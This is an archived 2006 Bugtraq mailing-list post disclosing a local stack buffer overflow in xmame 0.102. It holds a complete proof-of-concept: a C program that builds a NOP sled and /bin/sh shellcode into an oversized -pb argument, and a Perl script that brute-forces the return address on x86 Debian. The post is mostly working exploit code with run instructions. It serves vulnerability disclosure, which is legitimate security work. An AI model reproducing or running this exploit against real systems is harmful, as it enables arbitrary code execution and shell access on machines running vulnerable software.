lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Message-ID: <43DFC370.1080806@yahoo.es>
Date: Tue, 31 Jan 2006 21:07:12 +0100
From: Rafael San Miguel Carrasco <smcsoc@...oo.es>
To: bugtraq@...urityfocus.com
Subject: Xmame 0.102 local vulnerability proof-of-concept



The following proof-of-concept demonstrates the existence of the local 
vulnerability found in xmame 0.102.
It uses the brute-force technique. The RET address interval works on 
Intel Debian GNU/Linux.
To test for the vulnerability, run "gcc exploit-c -o exploit" and then 
"perl fb.pl".

exploit.c:

#define NOP 0x90
#define TAMBUF 1200
#define INIC_SH 400
#include <stdlib.h>

int main (int argc, char **argv) {

    static char shellcode[]=
    "\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89"
    "\xf3\x8d\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff\x2f\x62\x69\x6e"
    "\x2f\x73\x68\x58";

    char buffer [TAMBUF + 1];
    char cadena [TAMBUF + 3];
    int cont;
    unsigned long ret = strtoul (argv[1], NULL, 16);

    for (cont = 0; cont < TAMBUF / 4; cont++)
        *( (long *) buffer + cont) = ret;

    for (cont = 0; cont < strlen (shellcode); cont++)
        buffer [cont + INIC_SH] = shellcode [cont];

    for (cont = 0; cont < INIC_SH; cont++)
        buffer [cont] = NOP;

    buffer [TAMBUF] = 0;
    printf ("RET = 0x%x\n", ret);
    strcpy (cadena, "AA");
    strcat (cadena, buffer);
    execl ("./xmame.x11", "./xmame.x11", "-pb", cadena, (char *) 0);
}

fb.pl:

#!/usr/bin/perl

$cnt = 0xbfffe000;

while (1) {
    $hex = sprintf ("0x%x", $cnt);
    $res = system ("./exploit $hex");
    printf "$hex : $res\n";
    $cnt += 4;
}

Greetings,

Rafael San Miguel Carrasco
Security Consultant
www.rafaelsanmiguel.com


Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ